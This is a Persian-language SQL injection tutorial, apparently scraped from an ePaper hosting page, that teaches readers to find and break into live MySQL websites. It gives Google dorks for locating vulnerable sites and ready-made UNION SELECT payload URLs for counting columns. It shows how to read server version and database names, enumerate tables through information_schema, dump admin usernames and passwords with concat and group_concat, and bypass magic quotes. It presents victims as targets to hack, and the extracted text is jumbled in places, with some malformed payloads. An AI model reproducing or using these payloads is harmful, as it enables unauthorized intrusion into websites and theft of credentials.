18.11.2014 Views

1 - Exploit Database

1 - Exploit Database

1 - Exploit Database

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

نويسنده مقاله : ) پسر 1 چشم (<br />

My Sql Injection<br />

آموزش کامل نفوذ به سايت های my sql<br />

Xinf3rnal<br />

نويسنده :


نويسنده مقاله : ) پسر 1 چشم (<br />

My Sql Injection<br />

==>>> به نام خدای هکر ها


نويسنده مقاله : ) پسر 1 چشم (<br />

My Sql Injection<br />

و حات :<br />

در اين مقاله قصد دارم شما را با يكي از بهترين و مفيد ترين و پر استفاده ترين<br />

روش از روش هاي نفوذ گري آشنا كنم.‏ قبل از هرچيز بايد بگم كه مطالب اين<br />

مقاله ممكنه براي افراد مبتدي سنگين باشه ولي با تمرين همه چيز حل ميشه و<br />

ازتون ميخوام كه هيچ مطلبي رو سرسري رد نكنيد و روي تمام مطالب تمرين<br />

كنيد در غير اين صورت مقاله رو ببنديد و يه شيفت ديليت و شما را به خير و ما<br />

را به سلامت<br />

...<br />

پس لطف كنيد تا اخر مقاله با من همراه باشيد<br />

Sql چيست ؟<br />

Sql<br />

مخفف كلمه ي Structured query language به معني زبان پاسخ گويي<br />

ساخت يافته ميباشد<br />

.<br />

با Sql كارهاي بسيار زيادي ميتوان انجام داد ‏(كه در مقالات<br />

بعدي حتما آموزش خواهم داد)‏ و شما ميتوانيد به يك ديتابيس دسترسي داشته و<br />

اطلاعات آن را بازگرداني كنيد و اطلاعات به آن بدهيد و حذف كنيد و يا حتي<br />

آپديت كنيد و بسياري از كارهاي ديگر.‏<br />

شما با ياد گيري اين آموزش ميتوانيد ميليون ها سايت را بزنيد كه تقريبا<br />

آنها آسيب پذير هستند در نتيجه با يك جستجوي كوچول ميتونيد يك قرباني<br />

نصيب خودتان كنيد<br />

90 درصد


نويسنده مقاله : ) پسر 1 چشم (<br />

My Sql Injection<br />

در اين آموزش<br />

Step 1<br />

Sql Injection<br />

نباشه.همانطور كه ميدانيد مطالب براي<br />

اولين كار براي شروع پيدا كردن<br />

قصد دارم شما را با اين متد به صورت كامل آشنا كنم تا ديگه هيچ سوالي براي عزيزان<br />

My Sql هستند.‏<br />

) Target هدف (<br />

است كه شما براي اين كار ميتونيد اين چنين در گوگل سرچ كنيد<br />

توجه )<br />

داشته باشيد شما در سايت هاي جستوجو گر هاي مختلف نميتوانيد هدفتان را پيدا كنيد و اين كار به بزرگي و پيشرفته بودن<br />

گوگل بر ميگردد<br />

1. site:.in inurl:id (inurl:.php?)<br />

2. inurl:'gov' and '.php' and 'pahe=' and 'id=' or 'news='<br />

3. inurl:"news.php?id=" site:.no<br />

4. inurl:"id=" & in****:"Warning: mysql_fetch_assoc()<br />

5. inurl:(Page.(asp or php or...))?id=<br />

6. Site : .(Domains) Inurl:id (inurl:.(Php or asp)?)<br />

7. inurl:news.php?id=<br />

=<br />

: (<br />

page<br />

) و هزاران Dorkِ ديگه كه در DvD آموزشي من قرار دارد)‏<br />

مثلا اگر در inurl:news.php?id= بعد از ما يك عدد قرار دهيم در جستجوي گوگل تمام سايت هاي مورد نظر با همون<br />

باز ميشوند مثلا اگه عدد 12 را قرار دهيم تمام سايت هايي كه آخرشان news.php دارن به اين صورت ظاهر ميشوند :<br />

www.target.com/news.php?id=12<br />

پس پيشنهاد ميكنم كه عدد نزاريد چون امكان داره كه سايت هايي كه 12 صفحه دارن كم باشن و اين كار مشكل شما را در<br />

جستجو زياد ميكند<br />

همچنين براي Mssql وDomain هاي مختلف تغييراتي روي لينك ها انجام دهيد<br />

خب حالا فرض كنيد كه ما هدفمون رو پيدا كرديم و حالا ميخواييم بدونيم باگ داره يا نه ؟<br />

براي اين كار من دو روش كاراكتر و منطقي رو به شما آموزش ميدم<br />

كاراكتر<br />

در اينجا من با اضافه كردن يك ' به آخر سايت Error مربوطه رو ميگيرم.‏ پس به اين صورت عمل ميكنم :<br />

www.target.com/news.php?id=12'<br />

منطقي<br />

در اين تست به آخر Url يك 0=1 And و 1=1 And اضافه ميكنم و اگر زماني 0=1 And رو اضافه كردم و صفحه ي<br />

سايت كامل و به صورت قبل باز نشد يا Error داد و ناقص بود يعني سايت آسيب پذير هست.‏ و با اضافه كردن 1=1 And<br />

هم صفحه بايد به صورت كامل لود بشه .<br />

در اين Step با Find كردن Target با استفاده از گوگل و چك كردن سايت واسه اين كه سايت باگ داره يا نه اشنا شديد.‏<br />

در مراحل بعدي بيشتر با Inject كردن آشنا ميشويد<br />

.<br />

.<br />

:<br />

:<br />

.1<br />

.2


نويسنده مقاله : ) پسر 1 چشم (<br />

My Sql Injection<br />

Step 2<br />

در اين قسمت ما ميخوايم تعداد column هاي هدف رو پيدا كنيم و براي اين منطور ما بايد از دستور<br />

order by [column test]--<br />

:<br />

استفاده كنيم.‏ ما بايد از اين دستور در انتهاي Url سايتي كه از آن Error مربوطه رو گرفتيم استفاده كنيم و براي بار اول<br />

به جاي<br />

كنيد<br />

column test<br />

يك نامبر ميزاريم.اگر عددي كه گذاشتيم بعد از لود پيج Error گرفتيم يعني تعداد Column هاي<br />

ما كمتر از اين عدد است.بدين ترتيب نامبر رو كم ميكنيم تا پيج كامل لود بشه.‏<br />

مثلا ما با نامبر 20 ارور گرفتيم ولي با نامبر 19 ارور نگرفتيم پس تعداد Column هاي ما 19 تا هست . مانند زير<br />

:<br />

www.target.com/news.php?id=12 order by 50--<br />

www.target.com/news.php?id=12 order by 20--<br />

www.target.com/news.php?id=12 order by 19--<br />

error<br />

error<br />

no error<br />

معمولا Number Id رو با "-" ميخونند و نامبري ميذارن كه از تعداد تيبل ها بيشتر باشه.‏ پس بهتر است به صورت زير عمل<br />

:<br />

www.target.com/news.php?id=-999 order by 19--<br />

در اين جا من در بين<br />

number] Order By [column از<br />

:<br />

در كل تفاوتي با هم ندارند و شما ميتوانيد از<br />

Space استفاده كردم ولي شما ميتوانيد به صورت هاي زير عمل كنيد<br />

www.target.com/news.php?id=-999+order+by+10--<br />

www.target.com/news.php?id=-999/**/order/**/by/**/10/*<br />

+<br />

استفاده كنيد


نويسنده مقاله : ) پسر 1 چشم (<br />

My Sql Injection<br />

Step 3<br />

در درس های قبلی شما تونستيد Bug<br />

رو پيدا کرده و تعداد کلمن ها رو بشماريد.‏ در اين مرحله ميخوام شما را با دستور زير آشنا کنم<br />

:<br />

زماني كه ما با Order By تعداد كلمن ها رو شمرديم بايد بدونيم كه ميتونيم به چه كلمن هايي<br />

توسط اين دستور اين كار را انجام ميديم.‏<br />

در اين دستور ما به جاي all number column<br />

باشيم بايد به صورت زير عمل كنيم<br />

union+select+[all number column]--<br />

تعداد كلمن هايي كه شمرديم رو از<br />

) Inject<br />

1 ميزاريم.‏<br />

تزريق ( كنيم.‏ و ما<br />

يعني اگر 19 كلمن داشته<br />

بعد ار اين كه ما از Union Select استفاده كرديم يك سري نامبر يا همون عدد روي پيج خواهند امد كه نامبر هاي كلمن<br />

هايي هستند كه ما ميتونيم به اونها تزريق كنيم يا كلمن هاي مورد نطر رو بكشيم بيرون كه در درس هاي بعدي با آن آشنا<br />

ميشويد<br />

نكته ي مهم اينه كه ما زماني از Union Select استفاده ميكنيم كه Order By جواب بده يعني اگر ما با Order By نتونيم<br />

كلمن ها رو بشناسيم توسط Union يكي يكي از يك شروع ميكنيم و نامبر رو بالا ميبريم تا جايي كه به ارور نرسيم<br />

الان فرض كنيد كه Oder By جواب نميده همينطور با Union ميريم جلو تا به تعداد مورد نظر برسيم مانند زير<br />

:<br />

و همينطور بالا ميبريم تا به عدد زير برسيم و سايت ديگه ارور نده و كلمن هاي قابل تزريق ظاهر بشن www.target.com/news.php?id=-999+and+1=0+union+all+select+1-- eroor<br />

www.target.com/news.php?id=-999+and+1=0+union+all+select+1.2-- error<br />

www.target.com/news.php?id=-999+and+1=0+union+all+select+1.2.3-- error<br />

www.target.com/news.php?id=-999+and+1=0+union+all+select+1.2.3.4-- error<br />

www.target.com/news.php?id=-999+and+1=0+union+all+select+1.2.3.4.5-- error<br />

www.target.com/news.php?id=-999+and+1=0+union+all+select+1.2.3.4.5.6-- error<br />

)<br />

خورد كنه نه ؟<br />

اين كار اعصاب<br />

:<br />

www.target.com/news.php?id=-999+and+1=0+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19-<br />

-<br />

(<br />

www.target.com/news.php?id=-999+and+1=0+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19-<br />

-


نويسنده مقاله : ) پسر 1 چشم (<br />

My Sql Injection<br />

Step 4<br />

در اين مرحله ميخوام شما را با چند دستور براي تزريق به كلمن هاي قابل تزريق آشنا كنم.‏ دستوراتي كه دونه دونه<br />

Information رو از سايت بيرون ميكشه كه من با توضيح به شما آموزش ميدم:‏<br />

version()<br />

اين دستور جهت به دست آوردن Version سايت My sql هست كه خيلي مهمه تا بفهميم تا قرباني ما از چه ورژني استفاده<br />

ميكنه چون ورژن 4 و ورژن 5 با هم متقاوت هستند كه در مراحل بعدي به صورت كامل براتون توضيح ميدم<br />

دستوز ورژن به اين صورت هم به كار ميرود<br />

دستور بعدي به صورت زير است<br />

اين دستور جهت برگرداندن نام<br />

يا<br />

@@version<br />

user()<br />

:<br />

:<br />

User هست<br />

و همچنين براي برگرداندن نام ديتا بيس از دستور زير استفاده ميكنيم<br />

database()<br />

:<br />

در بعضي از سايت ها به اين بر ميخوريد كه دستور version() جواب نميده كه بايد اون رو<br />

كار ميتوانيد از دستور زير استفاده كنيد<br />

Bypass كنيد.‏<br />

:<br />

اين دستور كه Unhex ميكند براي دستورات بالا به شكل هاي زير به كار ميرود<br />

و همچنين اگر هيچ كدام از دستورات بالا اجرا نشد دستور ديگري وجود دارد به نام<br />

اين دستور هم 3 شكل كلي زير را دارد<br />

براي اين<br />

Unhex<br />

unhex(hex(version()))<br />

unhex(hex(user()))<br />

unhex(hex(database()))<br />

Convert<br />

convert(version() using latin1)<br />

convert(user() using latin1)<br />

convert(database() using latin1)<br />

:<br />

:<br />

:<br />

با استفاده از اين دستورات شما ميتوانيد ورژن مورد نظرتان را ببينيد.‏<br />

(( خب سوال پيش مياد كه اين دستورات رو كجا بايد وارد كنيم ؟؟؟!!؟<br />

عدد هايي روي صفحه ظاهر شدند مثل<br />

مانند زير<br />

يا<br />

12 كه شما ميتوانيد به جاي<br />

مثلا فرض كنيد كه با اين دستور<br />

:<br />

.<br />

www.target.com/news.php?id=-999+and+1=0+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19-<br />

-<br />

2 و<br />

:<br />

www.target.com/news.php?id=-<br />

999+and+1=0+union+all+select+1,@@version,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--<br />

هر كدام كه دلتان خواست دستورات را وارد كنيد<br />

www.target.com/news.php?id=-<br />

999+and+1=0+union+all+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--


نويسنده مقاله : ) پسر 1 چشم (<br />

My Sql Injection<br />

يا<br />

و براي Unhex كردن<br />

www.target.com/news.php?id=-<br />

999+and+1=0+union+all+select+1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--<br />

و همچنين حتي ميتونيد در هر دو كلمن دستورات رو وارد كنيد ) شايد سايت 1 كلمن يا حتي 4 تا كلمن برا تزريق هم بده<br />

از كار اين برنامه نويسان بي در و پيكر بعيد نيست<br />

www.target.com/news.php?id=-<br />

999+and+1=0+union+all+select+1,2,3,4,5,6,7,8,9,10,11,database(),13,14,15,16,17,18,19--<br />

:<br />

www.target.com/news.php?id=-<br />

999+and+1=0+union+all+select+1,unhex(hex(version())),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--<br />

)<br />

((<br />

www.target.com/news.php?id=-<br />

999+and+1=0+union+all+select+1,version(),3,4,5,6,7,8,9,10,11,user(),13,14,15,16,17,18,19--<br />

Step 5<br />

در اين قسمت ميخوام شما را با Inj گرفتن در ورژن 5 به پايين به صورت كامل آشنا كنم.مبناي Inj در اين سري از ورژن ها<br />

حدس زدن هست و شما بايد نام Column و Table هاي مورد نظر خودتون رو حدس بزنيد.‏<br />

اولين كار فراخواني Table هست كه با دستور From امكان پذير است و شكل كلي آن به صورت زير است<br />

كه به جاي<br />

بايد<br />

:<br />

-999+and+1=0+union+all+select[all column numbers]+from+[tabel name]--<br />

:<br />

Table [table name]<br />

رو حدس بزنيم.‏ مثلا آن را به شكل زير مينويسيم<br />

999+and+1=0+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+admin--<br />

مثلا فرض كنيم من تيبل Admin رو حدس زدم ‏.و درست هم از آب در اومد و سايت كامل لود شد و هيچ اروري نگرفتيم در<br />

غير اين صورت بايد از تيبل هاي زير(‏ معمولا از تيبل هاي پر استفاده تست ميكنند)‏ استفاده كنيم.‏ مانند<br />

:<br />

admin , administrator , user , users , number , numbers , login , as_user , admin_user , admins<br />

در مرحله ي بعد ما بايد به حدس زدن كلمن ها بپردازيم كه آن ها را به جاي نامبر هاي قابل تزريق كه در سايت ظاهر<br />

ميشوند قرار ميدهيم مانند<br />

:<br />

user , user_name , user_admin , admin_user , username , login , pass , password ,<br />

admin_pass<br />

در اينجا ما از Union استفاده ميكنيم تا كلمن هاي قابل تزريق رو پيدا كنيم.‏<br />

مثلا ما تيبل رو حدس زديم كه Admin بود و همچنين Column هاي ما هم<br />

زير جايگزين ميكنيم<br />

و<br />

password هستند كه به صورت<br />

www.target.com/news.php?id=-<br />

Username<br />

:<br />

www.target.com/news.php?id=-<br />

999+and+1=0+union+all+select+1,username,3,4,5,6,7,8,9,10,11,password,13,14,15,16,17,18,19+from+admin--<br />

و به جاي عدد 2 و<br />

12 كه در سايت بود يوزرنام و پسورد ادمين سايت رو به ما نشون ميده<br />

*** بعضي زمان ها امكان داره كه نام تيبل رو چيز غير قابل حدس داده باشند(برنامه نويسان به اصتلاح حرفه اي)‏ ***<br />

خب حالا فرض كنيد كه ميخواهيد يوزرنام و پسورد رو بدست بياريد ولي فقط يك كلمن براي تزريق داريد يعني روي<br />

سايت فقط يك عدد نوشته شد مثلا 9 اولا كه شما ميتوانيد دونه دونه يوزر و پسورد رو به دست بياوريد يعني اول يوزر نام<br />

رو بخوانيد و بعد پسورد رو ولي شما ميتوانيد به جاي اين كار كل يوزرنام و پسورد رو با هم در همون تيبل بيرون بكشيد<br />

كه در اين صورت بايد از دستور زير استفاده كنيد<br />

Concat<br />

:


نويسنده مقاله : ) پسر 1 چشم (<br />

My Sql Injection<br />

توسط اين دستور ما ميتوانيم يوزر نام و پسورد رو در يك كلمن با هم بيرون بكشيم و فراخواني كنيم كه به صورت زير آن<br />

را فراخواني ميكنيم<br />

:<br />

www.target.com/news.php?id=-<br />

999+and+1=0+union+all+select+1,2,3,4,5,6,7,8,concat(username,password),10,11,12,13,14,15,16,17,18,19+from<br />

+admin--<br />

ولي مشكلي كه اينجا پيش مياد اين است كه يوزر نام و پسورد با هم نوشته ميشوند و شما نميدانيد كه يوزر نام كدام است<br />

مثلا ممكنه كه يوزر Iman و پسورد 1Eye باشد در اين صورت به جاي عدد 9 اين چنين نوشته ميشود :<br />

ما براي جداسازي و رفع اين مشكل دو راه پيش رو داريم.‏ روش اول روش<br />

است كه معادل hex يعني : است كه ما ميتوانيم<br />

Iman1Eye<br />

Hex<br />

= 0X<br />

= 3a<br />

معادل شروع شدن Hex است<br />

معادل كاراكتر<br />

كه در نهايت به شكل زير خروجي ميگيريم :<br />

: است<br />

كاراكتر بعدي كاراكتر زير است<br />

يوزر نام و پسورد رو با هم جدا كنيم به شكل زير :<br />

concat(username,0x3a,password)<br />

Iman:1Eye<br />

char()<br />

:<br />

كه معادل كد ascii هست كه به شكل زير مينويسيم<br />

concat(username,char(58),password)<br />

:<br />

= 58<br />

معادل كد اسكي<br />

group_concat()<br />

: است<br />

همانند Concat هست با اين تفاوت كه اگر سايت چندين ادمين داشته باشد همه رو بيرون ميكشد<br />

اين دستور هم همانند Concat هست با اين تفاوت كه اگر ما چند كلمن رو بخواهيم بيرون بكشيم لازم نيست كه<br />

بين تمام كلمن هايي كه ميخواهيم بيرون بكشيم بنويسيم يك بار اول مينويسيم بعد خودش بين همه كاراكتر<br />

گذاشت كه براي اين كار به صورت زير عمل ميكنيم<br />

concat_ws()<br />

0x3a رو<br />

: خواهد<br />

:<br />

concat_ws(0x3a,username,password,email,id)


Step 6<br />

My Sql Injection<br />

نويسنده مقاله<br />

خب دوستان در اين بخش ميخوام بهتون نحوه ي حمله به سايت هاي ورژن 5 به بالا رو آموزش بدم.‏<br />

: ) پسر 1 چشم (<br />

در My sql 5 به بالا<br />

امكان بيرون كشيدن نام همه ي تيبل ها و كلمن ها وجود دارد و نيازي به حدس زدن ندارد كه اين نوع كار هكر را آسان تر<br />

خواهد كرد و مسلما از ورژن 5 به پايين آسان تر است.شكل كلي<br />

يعني براي بيرون كشيدن نام تمامي تيبل ها<br />

:<br />

-999+and+1=0+union+all+select+1,2,3,4,5,6,7,8,9,10+from+information_schema.[tables or columns]<br />

و براي بيرون كشيدن نام تمامي كلمن ها ازدستور زير استفاده ميكنيم<br />

:<br />

-999+and+1=0+union+all+select+1,2,3,4,5,6,7,8,9,10+from+information_schema.tables<br />

:<br />

-999+and+1=0+union+all+select+1,2,3,4,5,6,7,8,9,10+from+information_schema.columns<br />

ما توسط information_schema ميخواهييم information رو بيرون بكشيم.‏ Information_schema يك كاتالوگ از نام تمامي<br />

تيبل ها و كلمن ها است.‏<br />

حالا فرض ميكنيم كه يك قرباني با ورژن 5 داريم و سايت يك عدد داد مثل 8 كه در اين صورت اولين كار بيرون كشيدن<br />

تيبل هاست كه به صورت زير عمل ميكنيم<br />

:<br />

-999+and+1=0+union+all+select+1,2,3,4,5,6,7,table_name,9,10+from+information_schema.tables--<br />

كه ما به جاي 8 دستور Table_name رو نوشتيم تا نام اولين تيبل رو به ما نشون بده و همينطور اگه بخواهيم<br />

Column_name رو ببينيم به صورت زير عمل ميكنيم<br />

:<br />

-999+and+1=0+union+all+select+1,2,3,4,5,6,7,column_name,9,10+from+information_schema.tables--<br />

و به همين صورت ما نام كلمن ها رو بيرون كشيديم و به جاي 8 ما Column_name<br />

نشون بده.‏<br />

رو نوشتيم تا اولين نام رو به ما<br />

و براي اين كه همه ي Table_name ها و Column_name ها رو به صورت ليست در سايت بيرون بكشيم بايد از دستور<br />

Group_concat استفاده كنيم كه 2 شكل كلي آن به صورت زير است<br />

:<br />

-999+and+1=0+union+all+select+1,2,3,4 ,5,6,7, group_concat(table_name),9,10+from+information_schema.tables--<br />

:<br />

-999+and+1=0+union+all+select+1,2,3,4 ,5,6,7, group_concat(column_name),9,10+from+information_schema.columns--<br />

و براي تمامي كلمن ها<br />

در 2 شكل بالا يك ليست از نام تمامي تيبل ها و كلمن ها به ما نشون ميده كه بعضي ازتيبل و كلمن هاي ما مربوط به<br />

Schema ميباشند كه استفاده نميشوند و ما بايد به دنبال تيبل و كلمن هايي بگرديم كه در انها Information و اطلاعات<br />

مورد نظر ما وجود دارد.‏<br />

حالا امكان داره بعد از ليست كردن تيبل و كلمن ها به تيبل مورد نظر دست پيدا نكنيم و براي رفع اين مشكل ميتوانيم از<br />

دستور<br />

limit offset<br />

و دستور شرطي where استفاده كنيم كه در درس هاي بعدي به صورت كامل آموزش خواهم داد.‏<br />

حالا فرض كنيد كه تمامي تيبل ها و كلمن ها را روي يك سايت بيرون كشيديم كه تيبل مورد نظر ما Amin_user بود و<br />

كلمن هاي ما هم Username و Password هستند پس ما به صورت زير عمل ميكنيم : ‏(كلمن قابل تزريق ما 4 است<br />

براي بيرون كشيدن نام يوزر و از دستور زير<br />

(<br />

-999+and+1=0+union+all+select+1,2,3,username,5,6,7,8,9,10+from+admin_user--<br />

:<br />

-999+and+1=0+union+all+select+1,2,3,password,5,6,7,8,9,10+from+admin_user--<br />

براي بيرون كشيدن نام پسورد هست كه براي به دست آوردن هر دو با هم به صورت زير عمل ميكنيم<br />

:<br />

-999+and+1=0+union+all+select+1,2,3,group_concat(username,0x3a,password)+from+admin_user--<br />

Step 7<br />

در اين بخش ياد ميگيريد كه چگونه ميتونيد نام تيبل و كلمن رو توسط<br />

Limit و<br />

Offset بيرون بكشيد.‏ توسط<br />

Offset ميتونيد دونه دونه نام Table_name ها و Column_name ها رو بيرون كشيد.‏ شكل كلي:‏<br />

Limit و


نويسنده مقاله : ) پسر 1 چشم (<br />

My Sql Injection<br />

-<br />

999+and+1=0+union+all+select+1,2,3,4,table_name,6,7,8,9,10+from+information_schema.tables+limit+1+offset<br />

+1--<br />

:<br />

-<br />

999+and+1=0+union+all+select+1,2,3,4,column_name,6,7,8,9,10+from+information_schema.columns+limit+1+o<br />

ffset+1--<br />

output<br />

Limit<br />

:<br />

Offset و Limit<br />

-<br />

999+and+1=0+union+all+select+1,2,3,4,table_name_6,7,8,9,10+from_information_schema.tables+limit+1+offset<br />

و براي كلمن ها<br />

دستور براي محدود كردن<br />

در شكل زير ما توسط<br />

مورد نظر به كار ميرود .<br />

اولين Table_name رو توسط اين دستور<br />

+1--<br />

و اولين Column_name رو توسط اين دستور:‏<br />

-999+and+1=0+union+all+select+1,2,3,4,column_name,6,7,8,9,10+information_schema.columns+limit+1+offset+1--<br />

بيرون ميكشيم.‏ اما براي اينكه ما به ترتيب تمامي نام ها رو بيرون بكشيم بايد به Number Offset يكي اضافه كنيم يعني<br />

براي نام هاي بعدي به شكل زير مينويسيم<br />

.<br />

+limit+1+offset+2--<br />

+limit+1+offset+3--<br />

+limit+1+offset+4--<br />

+limit+1+offset+5--<br />

Limit<br />

:<br />

و همينطور ادامه ميديم تا به تيبل و كلمن هاي مورد نظر خودمون برسيم.‏ معمولا زماني به كار ميرود كه ما نتونيم<br />

يا همون ليست كردن تيبل ها به تيبل مورد نظر برسيم.‏<br />

توسط<br />

Limit به يك شكل ديگر هم به كار ميرود كه من يك اشاره ي كوچيك بهش ميكنم.‏ شكل كلي دستور<br />

Group_concat<br />

:<br />

-999+and+1=0+union+all+select+1,2,3,4,column_name,6,7,8,9,10+information_schema.columns+limit+1,1--<br />

كه در اين دستور بايد به شكل زير تغييرات را انجام بدهيم :<br />

+limit+2,1--<br />

+limit+3,1--<br />

+limit+4,1--<br />

+limit+5,1--


نويسنده مقاله : ) پسر 1 چشم (<br />

Step 8<br />

My Sql Injection<br />

در اين بخش ميخوايم دستور Where رو با هم كار كنيم<br />

.<br />

Where يك دستور شرطي است كه كلي كار رو آسون كرده.‏ براي<br />

اين كه ما بعد از بدست آوردن Table_name مورد نظر بتونيم كلمن هاي درخواستي رو محدود كنيم از<br />

ميكنيم . Queryً رو به صورتي ميديم كه Output ما تنها كلمن هاي تيبل مورد نظر باشد<br />

شكل كلي دستور<br />

Where استفاده<br />

:<br />

union+all+select+1,2,group_concat(column_name),4+from+information_schema.columns+where+table_name='[table_name<br />

]'--<br />

فرض كنيم در يك سايت Tbale_name ما Admin هست و ما ميخواهيم كلمن هاي مربوط به آون رو بيرون بكشيم در اين<br />

صورت به شكل زير عمل ميكنيم :<br />

union+all+select+1,2,group_concat(column_name),4+from+information_schema.columns+where+table_name='admin'--<br />

نكته ي ديگري وجود داره اينه كه امكان داره با ارور مواجه بشيم كه دليل اون On بودن Magic quote هست ولي هيچ<br />

مشكل و هيچ چيزي نميتونه چلوي نفوذ يك هكر رو بگيره و شما زماني كه با اين مشكل مواجه شديد ميتونيد با<br />

در دي وي دي آموزشي من به صورت كامل توضيح داده شده است<br />

Char يا<br />

(<br />

Hex كردن table_name اون رو Bypass كنيد )


نويسنده مقاله : ) پسر 1 چشم (<br />

Step 9<br />

My Sql Injection<br />

در اين بخش ميخوام بهتون آموزش بدم كه چطور ميشه توسط نام <strong>Database</strong> تيبل هاي مربوطه ي همون ديتابيس رو<br />

بيرون بكشيم كه كار رو نسبت به<br />

Limit و<br />

Offset آسون تر ميكنه.‏<br />

براي اين كار اول بايد نام ديتابيس تيبل رو بيرون بكشيم . شكل كلي<br />

در صورتي هم كه به محدوديت بر خورديد ميتوانيد به شكل زير عمل كنيد<br />

:<br />

-999+and+1=0+union+all+select+1,2,3,4,5,6,7,database(),9,10,11,12--<br />

:<br />

-999+and+1=0+union+all+select+1,2,3,4,5,6,7,unhex(hex(database())),9,10,11,12--<br />

حالا ما ميخواييم توسط دستور Where و نام ديتا بيس تيبل هاي مورد نظر رو به دست بياريم.‏ شكل كلي دستور :<br />

-<br />

999+and+1=0+union+all+select+1,2,3,4,5,6,7,group_concat(table_name),9,10,11,12+from+information_schema.tables+wh<br />

ere+table_schema='[database name]'--<br />

و در صورتي هم كه به محدوديت برخورديد بايد نام ديتابيس رو Char يا Hex<br />

كنيد.‏<br />

I Am Iranian Crazy >> 1 EYe


نويسنده مقاله : ) پسر 1 چشم (<br />

My Sql Injection<br />

توضيحات مفهومي<br />

Group_concat()<br />

Table_name<br />

Column_name<br />

0x3a<br />

Information_schema<br />

limit<br />

offset<br />

اين دستور براي اين است كه دسته اي از<br />

ركورد ها رو بررسي كند<br />

اي ن عب ارت ن ام فيل دي اس ت در ج دول<br />

information_schema كه نام ساير جدول<br />

در آن نگهداري ميشوند و به كمك اين عبارت<br />

ميتوانيم نام جدولي كه در آن دسترسي ها و<br />

نام كاربري ها وجود دارد را ببينيم<br />

اين دستور نيز مانند table_name فيلدي<br />

در جدول information_schema است كه<br />

در آن نام ستون ها نگه داري ميشوند و با<br />

كمك اين عبارت ميتوانيم نام فيلد هاي يوزر<br />

نام وپسورد را بيابيم<br />

اين عبارت كد<br />

hex كاراكتر :<br />

است و براي<br />

تفكيك مقادير خروجي از ديتابيس استفاده<br />

ميشود.‏<br />

اين عبارت نام جدولي است كه روي هر<br />

هاستي كه از my sql 5 استفاده ميكند وجود<br />

دارد.‏ در اين ديتابيس اطلاعات مربوط به ساير<br />

ديتابيس هايي كه كاربر ميسازد ذخيره<br />

ميشود ‏.اطلاعاتي از قبيل نام جدول و نام<br />

ركورد و حتي نام ديتابيس ها.‏ ما ميتوانيم با<br />

گذاشتن يك query ساده از اين ديتابيس<br />

اطلاعاتي كه براي ما سود مند هست رو<br />

استخراج كنيم<br />

اين دستور sql براي محدود كردن نمايش<br />

اطلاعات بر مبناي تعداد ركورد استفاده<br />

ميشود<br />

كار اين دستور قدم زدن در بين ركورد ها<br />

است.‏<br />

Limit 1 offset 1 يعني نمايش اولين ركورد و<br />

limit 1 offset 2 يعني نمايش دومين ركورد<br />

است.‏ دستور offset تعداد ركورد ها رو از<br />

ضفر شروع ميكند


نويسنده مقاله : ) چشم پسر ( 1<br />

My Sql Injection

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!